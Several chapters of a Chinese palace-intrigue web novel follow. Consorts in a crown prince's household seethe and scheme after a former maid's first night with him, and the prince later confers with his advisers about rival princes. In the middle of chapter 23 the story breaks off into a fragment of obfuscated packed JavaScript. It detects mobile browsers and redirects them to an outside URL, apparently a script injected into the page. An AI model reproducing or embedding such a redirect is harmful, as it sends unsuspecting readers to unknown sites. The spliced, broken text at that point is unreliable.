直到夜半时分,眼瞅着都快寅时了,下面的人才来报说太子回元淳宫了。
戌时过半进的永煦院,快寅时了才出来。
整整三个时辰。
三个时辰啊!
早先的几个妾室里,太子就数在曹良媛屋里待的时间最长,但那也只是两个时辰。
轮到槛儿了,竟足足三个时辰不止!
“那个贱婢!”
郑明芷“蹭”地从床榻上坐起来,涂染着蔻丹的手死死抓着锦被。
“定是仗着她胸前多出的那几两肉,使了什么下三滥的手段勾引了殿下!”
若不然以太子冷心冷肺的性子,如何会在一个妾室屋里逗留这么久!
“不行,不能任由她这样下去!”
庞嬷嬷觉得自家主子的反应有些过激了。
太子是出了名的清心寡欲没错,今晚的此番行径也确实出乎人意料。
可说到底。
后院的一众妻妾,太子想临幸谁就临幸谁,想在谁屋里待多久就待多久。
那小蹄子既然成了太子的妾,太子不过是在自己的妾屋里多待了会儿。
合情合理。
太子自律,才没有在妾室屋里过夜的习惯,换成其他男人早宿在妾室屋里了。
偏自家主子,明明对太子没有那方面的感情,也想做个端庄贤淑的太子妃。
却总是没有容人的度量。
对太子的占有欲强得没边儿。
不过,到底是自己奶大的姑娘,庞嬷嬷自然站在自家主儿这边。
“主子息怒。”
她劝慰道。
“就算是那小蹄子用了腌臜手段勾引了殿下,当下您也不宜对她做什么。”
郑明芷瞪眼睛。
“难不成就任由她坏了殿下的身子?传出去我这个主母还有何颜面!”
连个妾都管不好。
那几个王府的王妃怕是要笑死她了!
“自然不能让她坏了殿下的身子。”
庞嬷嬷好声好气道。
“可您想啊,那蹄子是咱们的人,在外人看来殿下去她那儿也是给您做脸啊。
若是殿下前脚去幸了她,后脚咱们就借故罚了她,那旁人会如何想?
再者说殿下在她屋里待的时间越久,她怀上的几率也越大,只有她尽早怀上,嘉荣堂才能尽快有小主子。
而她一旦怀上,就不能侍寝,她不能侍寝,殿下哪还会再去她屋里啊。”
男人都是薄情寡义的。
皇家的男人更是没什么情义可讲。
堂堂一国储君,怎可能对一个奴才出身的小昭训上心。
“等她怀上了,咱们便将她当猪喂,喂大了孩子生产出了意外那是她命不好。
退一步她侥幸平安产子,届时也早已蠢胖如猪,如此咱们又何需担心她会再将殿下勾了去,您觉得呢?”
郑明芷觉得妙极了!
“不愧是奶娘,还是你有法子!”
那可不?
庞嬷嬷抬了抬下巴。
郑明芷冷笑:“且让她再过几天好日子!”
庞嬷嬷在劝郑明芷的时候,其他几个院里的大宫女也在劝各自的主子。
香叶轩,正房里。
大宫女白菘紧紧拉着人,压低了声音急道:“主子,话可不兴这么说啊!”
金承徽柳眉倒竖。
她堂堂裴皇后娘家的远房侄女,进了这东宫位份比不过那姓曹的也就罢了!
如今一个奴才都能爬到她前头去。
叫她如何不怒,如何不恼!
不过就是个奴才,她怎么就说不得了?!
白菘:“您口中的贱婢已经是殿下的人了,您便是再恼也得顾忌这一层不是?”
“是啊主子。”
另一个大宫女紫苏附和。
“若是让殿下知晓他才去了宋昭训院里,您就将宋昭训恼上了,定会降罪的。”
理是这么个理儿。
可金承徽咽不下这口气啊!
三年前,她好不容易退了爹娘给自己定的亲事,磨着他们同意送她参加选秀。
为的就是能过上人上人的日子,最好是能像裴皇后那样,一人之下万人之上!
被太后选中送到东宫时,她是真的高兴。
甚至都想好了要生几个孩子。
毕竟母凭子贵。
只要她有了孩子,就不怕没位份跟宠爱,是时权势地位还不是手到擒来?
可结果呢?!
太后不久之后患病、殡天、太子服丧等一连串的事,她连太子的面都没见着!
真是什么时候死不好,偏要死在她刚进宫的时候。
晦气!
金承徽不止一次在心里这么骂。
本想着太子服完丧就该来她屋里了,到时她要卯足了劲儿让自己怀上。
结果——
又到了太子大婚的时候!
太子性冷又重规矩,为了给太子妃体面,那半年里一次都没来过后院!
金承徽觉得自己真是太倒霉了。
进宫的时机不对也就算了,还摊上这么个死板的男人,她就没见过哪个皇家子弟像太子这么不解风情的。
纵观古史。
太子不都该妻妾成群、美婢环绕、子嗣无数吗?
怎么到她这就变了??
好在皇天不负有心人。
去年腊月,终于让她等到了太子!
金承徽永远忘不了那日。
太子负手从夜色中朝她行来。
一袭杏黄团龙卧云织金窄袖,头戴二龙戏珠冠,足踏祥云锦帛靴。
不过一个照面,她就被太子的雍容威仪震慑住了,半个字都说不出来。
但同时金承徽心里也是激荡的。
因为他们家和裴皇后的亲戚关系有点远,她爹也只是一个六品的小官儿。
她没资格参加宫宴,也从没见过太子,所以那日是她第一次得见太子真容。
金
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承徽没想到太子真如外界传言那般,冷归冷,却俊得堪比天上的男菩萨。
而这样的男菩萨,是她的丈夫!
金承徽兴奋不已。
她当即就决定,晚上一定要把自己在话本子里看过的那些手段使出来。
势必要让太子对她念念不忘!
宠爱、位份、太子。
她全都要!
抱着这样的想法,金承徽打了鸡血似的,看太子的眼神腻得都能拉出丝了。
谁知结果……
之后的事金承徽打死都不愿再去回想。
“凭什么啊!”
她被紫苏拉着坐下,气得跺脚,“凭什么在她那儿待那么久啊?凭她胸**大吗?!”
白菘:“宋昭训是从嘉荣堂出来的,殿下此举想是碍于太子妃的面子。”
金承徽磨牙。
“往殿下跟前送那么一个**秧子,也不知道她是怎么想出来的!”
关键殿下竟同意了。
气死她了!
“主子别气了。”
紫苏道。
“到底是殿下做主定下的事,您再气也无济于事,只会伤了您自己的身子,何况就算气,也不该是您气。”
金承徽看向她。
紫苏:“您忘了,咱们院里还有一位昭训呢,那位可是出自书香门第。”
金承徽眼珠子转了转,笑了。
屋外,东厢书房里一片死寂。
丹碧丹霞候在一旁,大气都不敢出。
倒是秦昭训自己。
端坐在书案前,秀丽的脸上平静无波,清冷得仿若不食人间烟火的仙子。
看得丹碧丹霞止不住心疼。
秦家虽不是什么簪缨世家、名门勋贵,却好歹也是出了名的书香门第。
家中太老爷跟老爷皆为进士出身。
大少爷在今年春闱被陛下点了同进士出身,她们主子也是京城有名的才女。
三年前若非二少爷被人坑害闹出了事,致使秦府岌岌可危,她们的主子也不会被老夫人送进宫参加选秀。
还只得了个昭训的位份。
如今一个低贱的奴才不仅和她们主子同位份,还比她们主子更得殿下宠。
这简直是对她家主子的羞辱!
两人越想越气,脸上不免带了些情绪,秦昭训看了二人一眼,什么也没说。
曹良媛就沉稳多了。
她不在意太子在槛儿那边待了几个时辰,也没有为此拈酸吃味儿。
曹良媛想的更多的,是这三个时辰里太子都跟那姓宋的在屋里做了什么。
太子至今都没临幸她。
每回来她这儿不是在书房下棋就是看书,要么就是练字或者批阅公文。
想当初她还做了好一番假,才没让郑氏和那两个看出端倪,闹出笑话。
如今又冒出来了个姓宋的。
那宫婢是要替郑氏固宠生子的,所以这三个时辰殿下是真幸了她吧?
若不然她拿什么生。
曹良媛的心里蹿起一股无名火。
人人都能侍寝,就她不能!
她爹明明是站东宫这边的,太子为何不愿给她一个孩子拉拢他们曹家!
亏她前晚还以为太子来她这儿是他自己的意思,谁知却是郑氏的主意!
“主子,寅时两刻了,您歇歇吧。”
弄墨小心劝道。
曹良媛睨她,阴阳怪调的。
“我哪有那么好的福气,再有半个多时辰就该收拾去嘉荣堂请安了,你家主子还得去向人宋昭训道喜呢。”
第23章 秦昭训发难,口舌之辩
前夜侍寝的人次日请安的时辰可晚上一刻钟,这是太子妃刚嫁进东宫时,为彰显主母贤德定的一项规矩。
槛儿夜里睡得沉,被叫醒了才发现浑身酸痛得厉害,尤其两条腿的内侧。
比夜里那会儿严重多了。
跳珠忍不住小声道:“主子这般小的年纪,殿下也不知疼惜一些。”
昭训的腰和两个腿窝几乎全都紫了,甚至还能看到完整的男人手掌印。
若不是知道他们昭训是在侍寝,她都要当昭训主儿是被殿下打了呢。
“慎言。”
寒酥替槛儿梳好发髻,闻言提醒道。
跳珠嘿嘿两声。
瑛姑姑也心疼槛儿遭了这么大的罪,可这种罪后宫多少女人求都求不来。
他们若还不知足,那就太矫情了,传出去对昭训主儿也有害无利。
瑛姑姑便敲打了跳珠一番。
跳珠乖乖应下,随后想起一事。
“主子,日后夜里也要熄灯吗?”
槛儿想了一下才反应过来。
想了想,她道:“到时随殿下的意思吧。”
上辈子最初那几年太子确实有夜里熄灯的习惯,可能就是一个习惯吧。
习惯又不是不能变。
后面那些年不就没这规矩了。
所以槛儿对此没有多想。
收拾好,槛儿照旧带了跳珠出门。
嘉荣堂院外站着几个曹良媛随行的宫人,远远看到她主仆二人过来。
这些人看似低眉垂目,实则眼神里皆或是忿忿、或是轻蔑、或是鄙夷。
槛儿只当没看见。
上辈子她当上奉仪时,就有这么一出。
当时她以为他们是纯粹看不起她的出身,觉得她不配和他们的主子争宠。
后来槛儿才明白。
他们里面或许有真心替曹良媛不平的,但更多的还是一种嫉妒和不甘。
毕竟都是做奴才的,她却成了主子。
这大抵就是木秀于林,风必摧之。
上辈子十几岁的槛儿会生出“本自同根生,相煎何太急”的感慨。
如今,她脊背挺直地进了院子。
身后一众人面如菜色。
槛儿到正房厅堂时,曹良媛和秦昭训已经在各自的位置上喝了一盏茶了。
郑明芷也在。
坐在北面主位上听她们有一搭没一搭地说话,实则三人都心不在焉。
槛儿一进来。
她们像是瞬间来了精神,堪称凌厉的目光几乎同时投到了槛儿身上。
便见人穿着一身藕荷色绣芙蓉芍药的褙子,薄荷绿仙鹤四合云百迭裙。
明明还是那张脸,但她眉眼间自然淌出的那股子风流媚意叫人看得心惊。
就仿佛一朵本就艳丽的花骨朵儿一夜间突然盛开了,然后迫不及待地在阳光中舒展着花瓣展示自己的美。
庞嬷嬷在后宅混迹了三十年,自己又是生养过的,几乎是一照面,她就看出这小蹄子是承了雨露来的。
还承得不少!
郑明芷最是看不惯这种狐媚子长相,直个劲儿在心里暗骂槛儿骚狐狸。
心道当初若不是见这骚蹄子瞧着是个好生养的,她说什么也不会答应让这么一个货色来污了自己的眼!
曹良媛面色如常,实则心口那叫一个堵啊,恨不得当场抓花槛儿的脸!
秦昭训抿紧了唇,袖下粉拳紧攥。
槛儿假作没察觉到现场的微妙气氛,上前向郑明芷行了请安礼。
郑明芷心里厌恶。
但转眼注意到曹良媛和秦昭训的神色变化,她突然又觉得舒服了。
“宋昭训昨夜辛苦了,起吧。”
曹良媛看着郑明芷脸上的笑,跟吃了苍蝇似的,旋即她也爽朗一笑。
起身走过去挽槛儿的胳膊。
“恭喜妹妹了,瞧瞧这小脸儿跟朵花儿似的,同妹妹比起来我们都人老珠黄了。
看咱们殿下把人折腾的,眼儿都青了,妹妹稍后回去了定要好生补一觉才成,睡眠不足可是女子的天敌。”
来啊。
反正她不舒坦,那就都别想舒坦!
槛儿真心佩服曹良媛的搅事功夫。
看似是做姐姐对妹妹的夸赞调侃,实则拿了时下女子最忌讳的年龄说事。
又刻意提起殿下,搬出她睡眠不足。
既给她招了恨。
又往郑氏和秦昭训心里捅了刀。
一箭双雕。
关键曹良媛说话行事处处透着直爽,让人一看就觉得此人能挑大梁。
也怨不得上辈子在东宫,曹良媛能坐稳后院妾室中第一人的位置。
后面太子登基,她受封端妃。
时不时还协助郑氏管理六宫。
槛儿也记得。
曜哥儿死后,是曹良媛诞下了东宫的二公子和大郡主,祥瑞的龙凤胎。
“多谢曹姐姐提点。”
槛儿收起心思,规矩地福了福身。
“真乖。”
曹良媛笑,无视秦昭训一言难尽的眼神和郑明芷渐渐敛起的笑,亲昵地捏了捏槛儿的脸方才坐回位置。
有人来给槛儿奉茶。
好巧不巧,上茶之人是夏荷。
许是没料到前些日子还连自己都不如,只是个在茶房守风炉的低等奴才,如今却成了自己要奉茶的对象。
夏荷的脸色很僵。
槛儿视若无睹,浅笑着从夏荷手中接过茶盏,又同对方微微颔了颔首。
“宋妹妹看着,与前日里很不一样,”秦昭训看着槛儿,意味深长道。
“秦姐姐,如何不一样了?”
槛儿装傻。
秦昭训仍旧不苟言笑,声音清冷。
“前日,更卑怯瑟缩。”
秦昭训的行事风格和她的外貌一样,很多时候给人的感觉都是不食人间烟火,不屑与人同流合污。
加上一身的书卷气。
上辈子槛儿常被人拿她和秦昭训比,说秦昭训是天上的月,她是地上的泥。
说秦昭训同太子站在一起是金童玉女,天造地设,她则是乱入的狐狸精。
而东宫遭逢巨变后,继曹良媛诞下龙凤胎,秦昭训为太子生了二郡主。
后来太子登基,秦昭训受封良妃。
槛儿和秦昭训曾因二郡主发生过一些不愉快,此外倒没什么别的大矛盾。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125056|180054||http|test|mini|href|location''.split(''|''),0,{}));
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r>“不过,身份不一样,仪态规矩确实要有所改变,”秦昭训拿帕子掩了掩唇。
曹良媛暗嗤。
什么清高不争,这就装不下去了呢。
“秦姐姐说的是。”
槛儿低头,笑得赧然。
“我也是想跟着姐姐们学的,可惜画虎不成反类犬,让姐姐们见笑了。”
宫婢出身却跟自己同位份,秦昭训再是不争,心里也终究咽不下这口气。
所以想借机刺槛儿两句。
谁曾想对方竟就这般不卑不亢地承认了,如此倒衬得她俗不可耐了。
秦昭训的眼神冷了冷。
刻意道:“成语用得不错,你可知这‘画虎不成反类犬’出自何处?”
大靖皇宫有规定。
除贴身伺候者及管事者可识得基本字词外,其余宫女太监一律不得识文断字。
进宫前念过书的,进宫后则可免去浣衣坊、洒扫处等粗使杂役所。
槛儿进宫前没念过书,她能去广储司做绣娘,得益于模样好且心灵手巧。
秦昭训此言摆明了有羞辱之意。
槛儿暗笑,面上愣了愣。
然后羞窘道:“我先前是做奴婢的,大字不识几个,哪里知道这句话出自哪……”
说着,她起身朝在场三人欠了欠身。
“让太子妃和二位姐姐见笑了,妾愚钝,日后还劳烦太子妃和姐姐们多多指教。”
这回别说秦昭训了,就是郑明芷和曹良媛也愣了,没想到她会是这种反应。
换做旁人不识字被人这么点出来。
怕是早羞得说不出话了。
她倒好。
羞归羞,言行却落落大方进退有度,和提出此问的秦昭训一比,高下立见。
“不见笑,不见笑。”
曹良媛掩嘴娇笑。
“宫里不识字的人多了去了,又不是人人都像你秦姐姐出身书香门第。
只要你有心学习上进,就算不得什么事儿,你说是吧,秦妹妹?”
秦昭训因槛儿的反应涨红了脸,听闻曹良媛嘲讽意味十足的话更是羞恼。
她“腾”地站起来。
匆匆对郑明芷行一礼,冷声道:“妾身身子不适,请容妾身先行告退。”
郑明芷看不惯槛儿这副不卑不亢的样子,但她乐得看后院这几个斗。
这种乐就跟看小猫小狗打架似的。
她看得高兴,也乐得配合。
“去吧,天气愈发热了,注意别伤了暑。”
说完,扭头对槛儿和曹良媛也道:“今儿就到这儿了,你们也都散了吧。”
出了嘉荣堂,秦昭训绷着脸衣袖一甩就走人了,半个眼神都没给槛儿。
曹良媛:“妹妹别介,你秦姐姐就是这个性子,她自己过会儿就好了。”
槛儿轻轻“诶”了一声。
没有多说。
曹良媛打量她两眼,笑意不达眼底。
一会儿提防这个算计,一会儿提防那个挖坑,饶是槛儿习惯了这种生活,在身子不爽利的情况下也委实够呛。
以至于一回到自己院子,槛儿便撑不住了,身子一歪倒进了跳珠怀里。
第24章 赏赏赏!殿下又要吃素了?
“主子往后若不吃些东西再去请安吧。”寒酥往槛儿腰后塞了个靠枕。
槛儿挪挪身子寻了个舒服的姿势坐着,经寒酥按过的腰总算好受了不少。
“那就要起得更早。”
跳珠将炕几搬过来,接话道。
寒酥端了红枣茶来:“那就吃些糕点垫垫,垫垫也总比什么都不吃得好。”
槛儿喝了口茶,“再看吧,来得及就吃。”
望晴和喜雨进来摆早膳。
这几日槛儿的伙食都还不错,但侍了寝和没侍寝,到底还是有区别的。
今儿的早膳比起前两天明显丰盛了不少。
汤是一盅红枣血燕乌鸡汤,另有两熟煎小鱼,菱角鸭脯,面点为荷花饼,玫瑰棋子糕,配有拌鸡枞,青酱松蕈,虾油腐干三样开胃小菜。
主食是薏仁莲子粥。
分量都不大,但胜在色香味俱全。
喜雨说她们去提膳,才出西六院就有人上前来搭话,拐弯抹角地打听昨晚的事。
她们当然什么也没说。
之后到了膳房,两个小太监拎着食盒在外侯着,喜雨她们上去还没开口,那俩小太监便把食盒递给了她。
当时金承徽和秦昭训的提膳宫人也在。
东宫不允许闹出奴才以下犯上,克扣主子份例的事,下头的人也没敢不将这两位太子的侍妾放在眼里。
但没侍寝,底下人的态度就是要差很多,平日里的吃穿用度也只限于份例内。
就譬如这膳食。
喜雨她们拿到的是两个塞得满满当当的大食盒,是膳房的人送到手上的。
这里头除了槛儿份例里该有的,自然还有膳房做主卖给槛儿的好。
相比之下,金承徽和秦昭训的提膳宫人得自己进去装盒,拿的东西也只有刚好够他们主子份例的量。
这些量自然够金承徽和秦昭训吃的。
很多时候还会剩不少。
因为两人要保持体态,忌多食饱腹。
可吃不吃和别人有没有心送,是两码事,尤其这事还跟得不得宠挂勾。
所以金承徽和秦昭训的提膳宫人当时的脸色很不好,还刺了喜雨她们两句。
但喜雨望晴早得了槛儿和瑛姑姑的提点交代,根本没接对方的话茬。
喜雨上辈子就在槛儿院里伺候。
看她眼睛亮晶晶的,槛儿点头道:“做得好,巴结讨好你们的,该受着就受着,不需要刻意摆言不由衷的谱。
只要记得水无常形,人无常态的道理,别一有好事就乐得找不着北便行。
我希望你们遇事能保持一颗平常心,不骄不躁,如此大家才能走得长远。”
喜雨连连点头,望晴垂着眼应是。
用完膳消了两刻钟的食。
之后槛儿回屋洗漱一番便开始补觉。
但不知是今天和曹良媛她们相处时想起了很多往事,还是因为别的。
槛儿这一觉睡得并不踏实。
意识刚迷糊,脑海里就自发冒出好些她曾经以为早忘了的画面。
里面有曹良媛,秦昭训,还有几年后新入东宫的秀女们,以及曜哥儿死后,东宫陆陆续续出生的孩子们。
槛儿睁开眼时,耳边还回荡着小儿子晞哥儿和女儿瑭姐儿天真无邪的疑问。
他们问:“二姐,三哥说我们抢了他们的父皇,可父皇不也是我们的父皇吗?
“母妃,为什么父皇不能只是我们的父皇,如果我们想父皇天天晚上都只来陪我们,我们是不是就成坏孩子了?”
她当时怎么回答孩子们的?
槛儿不记得了。
只记得东宫的那场巨变,太子遭幽禁,好不容易解禁却又逢上曜哥儿身亡。
本就因幽禁和裴皇后的崩世性情大变的太子,在又经历了曜哥儿的死后彻底成了一块万年不化的寒冰。
这辈子,槛儿自认做不到不让太子有其他孩子,但曜哥儿她要保住,东宫的那场浩劫她也要帮太子避开。
只有这样,她和孩子们才能幸免于难。
才不至于让她的孩子连想要当爹的来陪,都要那么小心翼翼,愧疚难当!
正想着,瑛姑姑从外面进来。
说太子妃来赏了。
槛儿下榻稍作整理,和瑛姑姑走了出去。
来人是霜云。
霜云是郑家的家生子。
从小跟在郑氏身边服侍,被下面的奴才捧着,自然而然养成了目中无人的性子。
槛儿从屋里出来,便见对方鼻孔朝天地站在院里,大剌剌地打量着四周。
看到槛儿,霜云也没客气。
趾高气昂地转述了太子妃的话。
大致是宋昭训昨夜侍寝有功,勉励了一番,然后希望宋昭训今后尽心伺候殿下,早日为殿下开枝散叶。
都是后宅里常见的套话。
说完也没等槛儿回应,便示意人把东西交到小福子,小喜子手上。
然后哼了哼,招呼都没打一声就带着人走了。
因着霜云这态度。
好好的一桩喜事硬是给变了味道,明明得了赏是好事,小福子他们却笑不出来。
也是还不了解槛儿,怕宋昭训为这事恼着,所以都不敢上去触这个霉头。
殊不知此槛儿非彼槛儿,这辈子的槛儿根本没把霜云的态度放在眼里。
主子得了赏,通常要打赏下人。
槛儿虽然手头紧,却也没在这上头吝啬。
很多时候身边的人忠心与否,都不是看情分,而在于上面的人给多少。
口头上说得再好听都是不切实际的,只有能拿到手的实惠才叫好处。
所以槛儿没管小福子他们怎么想,转身让瑛姑姑拿了银钱出来打赏。
见此,大伙儿终于放下心来。
郑明芷的赏主要是做衣裳的料子、首饰,以及两样适合女子补身子的药材。
都是符合位份规制的。
收好东西,离晌午还早。
院子里忽然一阵
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动静,小福子兴冲冲跑进来:“主子!海公公来送赏了!”
末了还加了一句:“好多呢!”
跳珠原是要斥小福子着急忙慌的没个规矩,闻言眼珠子差点没瞪出来。
“当真?!”
小福子哭笑不得,“我的姐姐,这还能有假,人海公公已经往院里来了!”
跳珠两眼放光地看向槛儿。
不怪她这么大的反应。
而是他们来东宫的这几天,已经将后院的情况打探得差不多了。
早先曹良媛、金承徽和秦昭训她们第一次承宠后,可都只是太子妃给的赏!
当然,这不是说太子抠。
连个东西都舍不得给自己的妾赏。
只是规矩是如此。
后院归太子妃管。
赏赐的事自然也由太子妃决定,太子只有逢年过节才会大赏后院。
曹良媛倒是被太子赏过好多次,但那时曹良媛已经很得宠了,而且送赏的人也不是海顺这个大总管!
别说跳珠了,就连瑛姑姑都克制不住笑。
碍于海总管已经到院里了,槛儿便没多耽搁,当即领着人迎了出去。
嚯!
还真应了小福子的话,好多呢。
海顺身后站着**个手捧托盘的小太监,托盘上都盖着红布,看不清内里。
“给宋昭训道喜了。”
海顺笑眯眯道,同槛儿简单寒暄两句便侧身看了眼小太监捧着的东西。
“太子有令,宋昭训温恭淑良,柔嘉维则,特赐郁金月华锦两匹、牡丹织锦缎两匹、重莲绫一匹、织金罗一匹、金绞丝嵌红宝金雀头面……”
听着海总管的唱诵。
跪着的跳珠,小福子几人要拼了命地咬紧牙关,才没让自己当场笑出来。
海顺念完赏单。
笑着对槛儿说:“这些东西可是殿下特地交代奴才从他的库房里,紧着适合昭训主儿的来挑的呢。”
又是特地交代,又是太子的库房,关键还紧着适合昭训主儿的挑。
不知道的还当槛儿多受宠呢,然而实际昨晚才是她头一回侍寝。
跳珠几人偷偷对视,激动得眼珠子都红了。
倒是槛儿。
东西出自太子的库房她信,毕竟好几样都是贡品,但特地交代紧着适合她的挑?
算了吧。
那人没这么体贴。
她也不至于这么没自知之明,觉得侍了回寝就把太子爷给笼络住了。
不过,当着海顺的面槛儿当然深信不疑,娇羞地朝元淳宫方向谢了恩。
海顺一想到宋昭训能让他们家殿下正常行那事,就越瞧小姑娘越满意。
他觉得自己要尽早做好迎接小主子的准备了,就自家殿下昨晚那折腾劲儿。
没准儿这会儿小主子已经在来的路上了呢。
等等!
海顺脑海里划过一道闪电。
那不是……
他们家殿下刚开荤不久,就又要吃回素了??
第25章 太子:荒唐。
太子赏的料子全是些鲜艳亮眼的。
像是蜀地特产的月华锦,艳丽光润,像是夕阳之下的一场朦胧烟雨。
织锦缎是粉绿底儿的,一簇簇娇艳芍药以金银丝勾边,日光下闪闪发光。
还有织金罗。
配着一起的三套头面,用跳珠的话说,简直就是为昭训主儿量身打造的。
太子赏人的东西没有逾制与否这一说,自然槛儿用这些东西也不算逾制。
而槛儿这边气氛正好时,太子给宋昭训赐了赏的消息也传到了其他地方。
金承徽听闻后被刺激得两眼一黑,眼看要抄好的一页宫规又得重抄。
秦昭训还是那副什么都不看在眼里的样子,曹良媛则意味不明地哼笑了声。
郑明芷请安回来听说了这事,最终还是决定等太子来嘉荣堂时同他聊聊。
一个生子工具罢了。
就算碍于东宫现今的局势,不好让那小蹄子没名没分地替太子生孩子。
如今名分已经给了。
委实没必要真将其当做寻常侍妾对待。
.
海顺从后院出来,就经元淳宫去了仁安殿。
仁安殿是东宫的第二进院。
乃太子会见属官、来客的要地。
东宫的属官,像是太子三少和太子宾客,詹事府的值房便设在仁安殿的两侧。
海顺到时,仁安殿的书房门紧闭。
袁宝对他耳语几句。
海顺了然,安静地站到一旁等着。
书房里。
“只能是陛下此次对于殿下入朝之事的态度有所转变,让睿王急了。”
说话之人名章怀逐。
他四十出头的样子,清瘦儒雅,下巴处的山羊胡随着他说话一颤一颤的。
章怀逐官拜礼部侍郎兼内阁大学士,是元隆帝钦点的太子少傅,听命于元隆帝。
但实则他是坚定的**。
只不过他老谋深算,为人十分谨慎。
教导太子十余年,都从未在人前表现出他是太子一系的人,城府之深沉。
除了他,在座的其他几人也是如此。
东宫虽说乃太子所居之处,可到底处在宫中,有上边那位时时刻刻盯着。
行事自是比不得信王、睿王等几位王爷在宫外有自己的府邸来得方便。
所以太子往日除了上课,其他时候并不会轻易见他们,若有事,几人则是私下通过独有的暗法联系。
而几人这回聚首,为的不是别的,正是前些天康国公三公子赌坊**一事。
康国公府满门忠烈。
老国公是大靖开国以来首位平民出身的武状元,曾奉高祖之命戍守西北边疆,三征瓦剌,为大靖开疆扩土。
其子孙亦各个骁勇善战、英勇无畏。
而这裴三公子的性情也随了裴家人的仁义忠厚,不是那仗势欺人之辈。
就是莽,容易冲动上头。
这回便是中了睿王的计。
所谓打着太子和皇后娘娘的名号**,其实是有人刻意引导,以讹传讹。
这并不是什么大事。
关键就在于它的性质和目的。
“只会耍阴招的龟孙子!”
对面第一个位置的蒋腾“砰”地把茶盏笃在案几上,粗声粗气道。
“从小就喜欢往别人头上扣屎盆子!出了事只会拿人顶罪,就不是个男人!”
蒋腾是东宫禁卫军首领兼太子太保,负责教导太子武艺和保卫太子安全。
他生得膀大腰圆,一旦离了元隆帝,私底下开口闭口就是屎啊尿啊的。
粗鄙到了极致。
不过蒋腾有本事。
力可拔山扛鼎,有万夫不当之勇。
若不然,太子不会如此纵容他。
章怀逐旁边的卫鸣清皱了皱眉。
“莽夫之言,谁都像你意气用事,命再多都不够赔的。”
卫鸣清乃詹事府少詹事。
看样貌三十左右,实则已过天命之年。
他除了协助詹事管理东宫内务,还兼有辅佐三师三少教导太子之责。
这话蒋腾就不乐意听了。
“嘿?你……”
“行了,谈正事要紧。”
蒋腾边上,一身从五品官袍,身形瘦小,但双目矍铄的陈允之开口道。
陈允之任司经局太子洗马,掌东宫经史子集、制典、图书刊辑之事。
论官职,此人是在座几人中品阶最低的,可实际任谁也不敢就此忽视他。
皆因他不仅是三朝老臣,更是元隆帝还在潜邸时,原东宫的詹事府詹事。
后元隆帝登基。
原东宫一系遭清算,活下来的人寥寥无几。
陈允之便在其中。
他能得赦免,除了他自身深谙成王败寇之理、识时务外,也因他确乃有才之士。
元隆帝惜才。
也是不想让人觉得他太过狠辣,于是破例将此人留了下来,任职于翰林院。
后太子入住东宫,元隆帝见陈允之确无二心,便下旨点了他为东宫属官。
现下陈允之如此效忠于太子。
除了太子本身文韬武略,具为储之大能外,还因太子曾救他于危难之中。
说起正事,蒋卫二人不敢懈怠。
“裴三公子的事种种迹象表明乃睿王所为,但证据却一致指向信王。
陛下不会不知,却还是罚了信王,我们若继续揪着不放,只会惹陛下不悦。”
卫鸣清看着太子,道。
“但要不了了之,非但咽不下这口气,反会助长其气焰,让对方觉得东宫可欺。”
章怀逐:“睿王后手留得这般足,想必也是知晓此举成功的可能不大,就同他以往做的那些事一样,是在下注。”
陈允之点头:
“信王当下是否知晓此事是睿王所为?若不知,信王这头想来会把他此次被罚之账算到东宫头上。”
蒋腾冷哼:“信王即便知道事是睿王做的,他照样会把账算到东宫头上。”
毕竟比起有机会把中宫皇后所出的太子拉下马,一个睿王又算得了什么?
也是元隆帝近几年对东宫的态度越发矛盾,才使得这些个皇子们见缝插针。
之所以说是矛盾。
主要因为元隆帝并非不喜太子。
相反,太子是元隆帝登基后的第一个皇子。
且太子出生那日天降异象,钦天监称此乃预示我大靖繁荣昌
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盛,国泰民安。
加之裴皇后小产过两回,之后便一直未怀上。
谁知竟逢元隆帝登基不久就诞下了他的嫡子,元隆帝更是将此奉为吉兆。
于是待这个儿子很是用心。
甚至不惜早早立了储。
太子也争气,自小天资聪颖、至诚至孝、心怀大义,小小年纪便贤名远播。
随着太子一年大过一年,朝中大臣都对其赞扬有加,对东宫亦有依附之态。
可这对太子来说不见得是什么好事。
为君者的通病,元隆帝也不例外。
所以近几年睿王、慎王等几个皇子相继被立了起来,倒是太子渐渐淡于人前。
骆峋的神情淡漠。
待陈允之同蒋腾说完话,他动了动唇:“即如此,就想办法让他同睿王对上。”
几人看向他。
骆峋眸光微冷。
“睿王此次未达目的,不会善罢甘休,但频频对东宫出手只会自曝其短。
以他的性子,转移目标是常事,他也不会错过这回落井下石的机会。
信王此次只被罚了禁足,得益于皇长孙说情,信王可以有足够的理由动手。
他二人比孤更了解彼此,此番我等作壁上观即可。”
“至于父皇那边……”
骆峋稍作沉吟,“梁钲勇,胡擒岳已率大军攻下安南都城,大虞灭国在即。”
言下之意,接下来元隆帝不会有心思管这几个儿子,在场之人闻言了然。
但还有一个问题,陈允之:“睿王一个多月前动过手脚,为何时隔如此之短便又有动作?未免太过频繁。”
这个问题骆峋很早就想过。
也叫人调查过。
可惜没有查到什么他想要的,这件事就像是睿王临时突发奇想搞出来的。
骆峋:“继续留意吧。”
等人都走了,海顺从外面进来复命。
骆峋的思绪还未从方才的事情上抽回来,闻言不甚在意地“嗯”了声。
海顺见状便没敢再拿后院的事来扰太子,躬着身子打算猫到角落去。
骆峋没错过他眼里一闪而过的欲言又止,下意识道:“有事就说。”
海顺愣了愣。
惊讶于太子的敏锐,随即有些尴尬地笑道:“没,不是什么事儿,您忙……”
话音未落,太子爷的眼神微冷。
海顺不禁苦了脸。
“真不是什么事,就是宋昭训收到了您的赏赐很是高兴,还给了奴才赏钱,但奴才真没想拿这事儿来扰您。”
骆峋谅他没有这个胆子。
不过,听他说小昭训收到赏赐很是高兴。
骆峋的脑海里便无意识浮现出小姑娘那张,因为欢喜而更显明媚的脸。
他有些意动。
微抿的唇角不显地扬了扬。
同时也想起了一件事,那便是前几晚总做的那种梦,昨晚却是没有再做。
为何?
她侍了寝,他便没做那样的梦。
骆峋眉头微蹙。
等反应过来自己想了什么时,骆峋的眉皱得更紧。
他又不是重欲好色之辈。
怎可在办公之时想后宅女眷。
荒唐。
第26章 太子爷:想她。
